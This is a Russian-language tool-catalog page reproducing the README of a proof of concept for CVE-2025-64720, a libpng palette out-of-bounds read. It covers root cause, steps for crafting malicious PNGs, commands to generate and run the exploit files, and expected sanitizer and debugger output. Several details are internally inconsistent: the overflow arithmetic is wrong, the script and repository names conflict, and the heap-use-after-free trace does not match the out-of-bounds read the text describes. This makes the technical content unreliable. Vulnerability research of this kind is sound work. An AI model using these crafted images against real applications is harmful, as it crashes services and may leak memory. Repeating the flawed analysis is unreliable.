Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-64720-PoC — Эксплойт доказательства концепции для CVE-2025-64720, переполнение буфера libpng в предумножении палитры. Включает генератор эксплойтов, тестовую обвязку с ASan/UBSan и подробный технический анализ уязвимости heap-use-after-free. | Kitploit
Инструменты/GitHubGitHub/dantsco/cve-2025-64720-poc
Криминалистика памятиАнализ уязвимостейЭксплуатацияФаззингАнализ Бинарных ФайловСтатьи и ИсследованияОбучение и Образование
GitHubdantsco/cve-2025-64720-poc

CVE-2025-64720-PoC

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт доказательства концепции для CVE-2025-64720, переполнение буфера libpng в предумножении палитры. Включает генератор эксплойтов, тестовую обвязку с ASan/UBSan и подробный технический анализ уязвимости heap-use-after-free.

Репозиторий
238 месяцев назадЕщё не проверено

CVE-2025-64720: Переполнение буфера в libpng при предумножении палитры

Статус: Исправлено
Серьёзность: Высокая
Идентификатор CVE: CVE-2025-64720
Дата обнаружения: 2025-11-XX
Публичное раскрытие: 2025-11-21

Обзор

Краткое описание

Уязвимость чтения за пределами границ существует в функции png_image_read_composite библиотеки libpng при обработке изображений с палитрой и включённым флагом PNG_FLAG_OPTIMIZE_ALPHA. Код композитинга палитры в png_init_read_transformations некорректно применяет композитинг с фоном во время предумножения, нарушая инвариант компонента ≤ альфа × 257, требуемый упрощённым PNG API, что приводит к повреждению памяти.


Детали уязвимости

Корневая причина

В png_init_read_transformations в строке ~1336 код расширения палитры выполняет:

root@kitploit:~
component += (255-alpha)*png_sRGB_table[outrow[c]];

Это вычисление даёт значения component до 16 776 960 (0x1000800), где (component >> 15) == 512. Последующий макрос PNG_sRGB_FROM_LINEAR в png_image_read_composite выполняет доступ к массиву за пределами границ:

root@kitploit:~
png_sRGB_base[component>>15]    // Обращение к png_sRGB_base[512]
png_sRGB_delta[component>>15]   // Обращение к png_sRGB_delta[512]
// Оба массива имеют индексы только 0-511 (размер 512)

Проблема возникает когда:

  1. PNG использует режим палитры (цветовой тип 3) с прозрачностью (блок tRNS)
  2. Приложение использует упрощённый API с форматом, поддерживающим альфа-канал
  3. Внутренне включён PNG_FLAG_OPTIMIZE_ALPHA
  4. Расширение палитры выполняет предумножение с композитингом на фоне

Уязвимый компонент

  • Файл: pngread.c, pngtrans.c
  • Функции: png_image_read_composite, png_init_read_transformations
  • Путь выполнения: Упрощённый API → Расширение палитры с оптимизацией альфа

Нарушение инварианта

root@kitploit:~
Ожидалось: component ≤ alpha × 257
         Гарантирует (component >> 15) ≤ 511 (в пределах границ массива)

Фактически: component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
         При alpha=0, RGB=255: component может превышать ожидаемые границы

Результат: (component >> 15) может равняться 512 (доступ за границы)

Затронутые версии

Уязвимые версии

  • Программное обеспечение: libpng
  • Версии: Все версии < 1.6.51
  • Платформы: Linux, Windows, macOS, BSD и др.
  • Архитектуры: x86, x64, ARM, ARM64 и др.

Исправленные версии

  • Первая исправленная версия: 1.6.51
  • Дата выпуска: 2025-11-21
  • Коммит исправления: 08da33b

Определение версии

root@kitploit:~
# Способ 1: pkg-config
pkg-config --modversion libpng

# Способ 2: Прямой запрос библиотеки
libpng-config --version

# Способ 3: Проверка бинарного файла
strings /usr/lib/libpng*.so* | grep -i "libpng version"

# Способ 4: Из исходного кода
grep PNG_LIBPNG_VER_STRING png.h

Технический анализ

Вектор атаки

Злоумышленник может использовать эту уязвимость, создав вредоносный PNG-файл с определёнными характеристиками:

  1. Предварительные условия атаки:

    • Целевое приложение использует libpng < 1.6.51
    • Приложение использует упрощённый PNG API (функции png_image_*)
    • Приложение запрашивает выходной формат с поддержкой альфа (например, RGBA, ARGB)
  2. Шаги атаки:

    • Создать PNG с палитрой (цветовой тип 3) с блоком tRNS
    • Установить записи палитры на максимальные значения RGB (255, 255, 255)
    • Установить нулевые значения альфа для нескольких записей палитры
    • Приложение жертвы обрабатывает PNG с альфа-форматом
    • Внутренне включается PNG_FLAG_OPTIMIZE_ALPHA
    • Расширение палитры нарушает инвариант компонент
    • Происходит доступ к массиву за пределами границ
  3. Результат атаки:

    • Чтение за пределами границ из png_sRGB_base или png_sRGB_delta
    • Повреждение памяти приводит к heap-use-after-free
    • Сбой приложения (отказ в обслуживании)
    • Возможное раскрытие информации через OOB-чтение

Расположение памяти

root@kitploit:~
┌─────────────────┐
│ png_sRGB_base   │  Индексы массива: 0-511 (512 записей)
│ [512 entries]   │  Допустимый доступ: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access]    │  Индекс 512 ← Уязвимый доступ, когда component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta  │  Индексы массива: 0-511 (512 записей)
│ [512 entries]   │  Также уязвим для того же OOB-доступа
├─────────────────┤
│ Соседняя память │  Возможное раскрытие информации
└─────────────────┘

Вычисление, вызывающее переполнение:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]

Когда alpha=0 и palette_RGB=255:
component = 0 + 255 × 65535 = 16 711 425
(component >> 15) = 512 (ЗА ГРАНИЦАМИ!)

Условия срабатывания

Обязательные условия:

  • PNG цветового типа 3 (индексированный/палитра)
  • Наличие блока tRNS (прозрачность)
  • Нулевые значения альфа в блоке tRNS
  • Высокие значения RGB в палитре (особенно 255, 255, 255)
  • Использование упрощённого API (png_image_finish_read)
  • Формат с поддержкой альфа (PNG_FORMAT_ARGB, PNG_FORMAT_RGBA с флагами)

Дополнительные факторы:

  • Формат с PNG_FORMAT_FLAG_AFIRST увеличивает вероятность сбоя
  • Более крупные изображения предоставляют больше возможностей для срабатывания ошибки
  • Несколько записей палитры с нулевой альфа повышают надёжность

Условия, при которых не срабатывает:

  • libpng >= 1.6.51 (исправлено)
  • PNG_FORMAT_RGBA без дополнительных флагов (иногда безопасно)
  • Цветовые типы без палитры (RGB, оттенки серого и т.д.)
  • Палитра без прозрачности
  • Все значения альфа = 255 (полностью непрозрачно)

Доказательство концепции

Быстрый старт

root@kitploit:~
# Клонировать репозиторий
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720

# Сгенерировать изображения
python3 generate-images.py

# Собрать тест
chmod +x build.sh
./build.sh

# Запустить эксплойт (требуется уязвимая libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png

Компоненты PoC

1. Генератор эксплойтов (generate-images.py)

Генерирует вредоносные PNG-файлы, вызывающие уязвимость.

Использование:

root@kitploit:~
python3 generate_poc.py

Вывод:

  • exploit_v1.png - Изображение 8x8, равномерная белая палитра, нулевая альфа
  • exploit_v2.png - Изображение 8x8, стратегическое изменение палитры
  • exploit_v3.png - Изображение 64x64, большое с повторяющимися шаблонами
  • exploit_v4.png - Изображение 4x4, минимальный случай с полностью нулевой альфа

Опции:

root@kitploit:~
# Сгенерировать конкретный вариант
generate_malicious_png('custom.png', variant=2)

# Варианты:
# 1: Максимальные значения RGB с нулевой альфа (надёжно)
# 2: Стратегическая палитра, разработанная для максимального переполнения
# 3: Большее изображение с повторяющимися запускающими шаблонами
# 4: Минимальный случай, нацеленный на global-buffer-overflow

2. Тест (test.c)

Обрабатывает PNG-файлы с использованием упрощённого API и демонстрирует уязвимость.

Компиляция:

root@kitploit:~
# С AddressSanitizer (рекомендуется - лучшее обнаружение)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer

# С UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0

# С отладочными символами
gcc -o test_debug test.c -lpng -g -O0

# Для Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline

Возможности:

  • Тестирует несколько форматов с поддержкой альфа (RGBA, ARGB, LINEAR_RGB_ALPHA)
  • Отображает версию libpng и статус уязвимости
  • Показывает значения первого пикселя для проверки
  • Комплексная обработка ошибок

Ожидаемый вывод

В уязвимой версии (libpng 1.6.36):

root@kitploit:~
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 0x000102b4da24 in png_safe_execute pngerror.c:944
    #1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
    #2 0x000102b34ecc in test_png test.c:64
    #3 0x000102b35410 in main test.c:97

0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
    #0 0x000103245480 in free+0x7c
    #1 0x000102b566b4 in png_free_default pngmem.c:252
    [Stack trace continues...]

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING

В исправленной версии (libpng >= 1.6.51):

root@kitploit:~
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

=== All tests completed ===

Воздействия

Подтверждённые воздействия

  • Отказ в обслуживании: Надёжный сбой приложения при обработке вредоносных PNG-файлов
  • Повреждение памяти: Heap-use-after-free из-за OOB-чтения, повреждающего внутреннее состояние
  • Раскрытие информации: Возможная утечка содержимого соседней памяти через OOB-чтение

Потенциальные воздействия

  • Удалённое выполнение кода: Теоретически возможно, если повреждением памяти можно управлять, хотя не продемонстрировано
  • Эксплуатация в браузерах: Веб-браузеры, использующие уязвимую libpng, могут аварийно завершаться при посещении вредоносных сайтов

Пошаговое воспроизведение

Шаг 1: Сгенерировать эксплойт

root@kitploit:~
python3 generate_poc.py

Ожидаемый вывод:

root@kitploit:~
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
    Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
    Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
    Size: 356 bytes, Dimensions: 4x4

[+] Enhanced test program: test.c
[+] Build script: build.sh

Шаг 2: Скомпилировать тест

root@kitploit:~
chmod +x build.sh
./build.sh

Ожидаемый вывод:

root@kitploit:~
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...

[+] Build complete. Executables:
-rwxr-xr-x  1 user  staff  95KB test_asan
-rwxr-xr-x  1 user  staff  87KB test_ubsan
-rwxr-xr-x  1 user  staff  72KB test_debug
-rwxr-xr-x  1 user  staff  72KB test_valgrind

Шаг 3: Выполнить эксплойт

root@kitploit:~
./test_asan exploit_v1.png

Ожидаемый результат (уязвимая версия - libpng 1.6.36):

root@kitploit:~
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636

[!] libpng < 1.6.51 detected (vulnerable version)

=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8

Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00

Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
    #0 png_safe_execute pngerror.c:944
    #1 png_image_finish_read pngread.c:4184
    #2 test_png test.c:64
    #3 main test.c:97

SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING

Ожидаемый результат (исправленная версия - libpng >= 1.6.51):

root@kitploit:~
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651

[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)

=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]

Альтернативные методы тестирования

С помощью Valgrind

root@kitploit:~
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
         ./test exploit_v1.png

Ожидаемый вывод (уязвимая версия):

root@kitploit:~
==12345== Invalid read of size 8
==12345==    at 0x...: png_safe_execute (pngerror.c:944)
==12345==    by 0x...: png_image_finish_read (pngread.c:4184)
==12345==  Address 0x... is 16 bytes inside a block of size 48 free'd

С помощью GDB

root@kitploit:~
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Программа аварийно завершится

(gdb) bt
# Показывает стек вызовов с png_safe_execute вверху

(gdb) info registers
(gdb) x/32wx $rsp
# Изучить состояние памяти на момент сбоя

С помощью LLDB (macOS M1-M4)

root@kitploit:~
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Программа аварийно завершится

(lldb) bt
# Показывает стек вызовов

(lldb) register read
(lldb) memory read -c 32 -- $sp

Ссылки

Официальные источники

  • Уведомление поставщика: http://www.libpng.org/pub/png/libpng.html
  • Запись CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-64720
  • Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-64720
  • Домашняя страница libpng: http://www.libpng.org/pub/png/libpng.html

Технические детали

  • Отчёт об ошибке: https://github.com/pnggroup/libpng/issues/686
  • Коммит исправления: https://github.com/pnggroup/libpng/commit/08da33b
  • Pull Request: https://github.com/pnggroup/libpng/pull/751
  • Примечания к выпуску: https://github.com/pnggroup/libpng/blob/libpng16/CHANGES

Связанные уязвимости

  • CVE-2025-64505: Переполнение буфера в куче в png_do_quantize() через некорректный индекс палитры
  • CVE-2025-64506: Чтение за пределами буфера в куче в png_write_image_8bit()
  • CVE-2025-65018: Переполнение буфера в куче в png_combine_row()
  • CVE-2019-7317: Use-after-free в png_image_free() (libpng < 1.6.37)

Благодарности

Обнаружение

  • Samsung-PENTEST - Исследователь безопасности
  • weijinjinnihao - Исследователь безопасности
  • yosiimich - Исследователь безопасности

Анализ и исправление

  • Fabio Gritti (Artiphishell) - Триаж и анализ
  • John Bowler - Разработчик libpng, участник исправления
  • Cosmin Truta - Мейнтейнер libpng, реализация патча

Тестирование

  • truediogo - Разработка и валидация PoC

Правовые и этические соображения

Отказ от ответственности

⚠️ ВАЖНО: Данный PoC предоставлен только для образовательных и исследовательских целей.

  • Этот код предназначен для:

    • Исследований в области безопасности
    • Оценки уязвимости систем, которыми вы владеете
    • Академического изучения
    • Разработки защитных мер
    • Проверки исправлений
  • Этот код НЕ предназначен для:

    • Несанкционированного доступа к системам
    • Вредоносных атак
    • Причинения вреда или ущерба
    • Любой незаконной деятельности
    • Эксплуатации без разрешения

Используя этот код, вы соглашаетесь:

  1. Использовать его только в системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение
  2. Соблюдать все применимые законы и нормативные акты
  3. Взять на себя полную ответственность за свои действия
  4. Не возлагать ответственность на авторов за любое неправильное использование
  5. Следовать принципам ответственного раскрытия информации
Скачать инструмент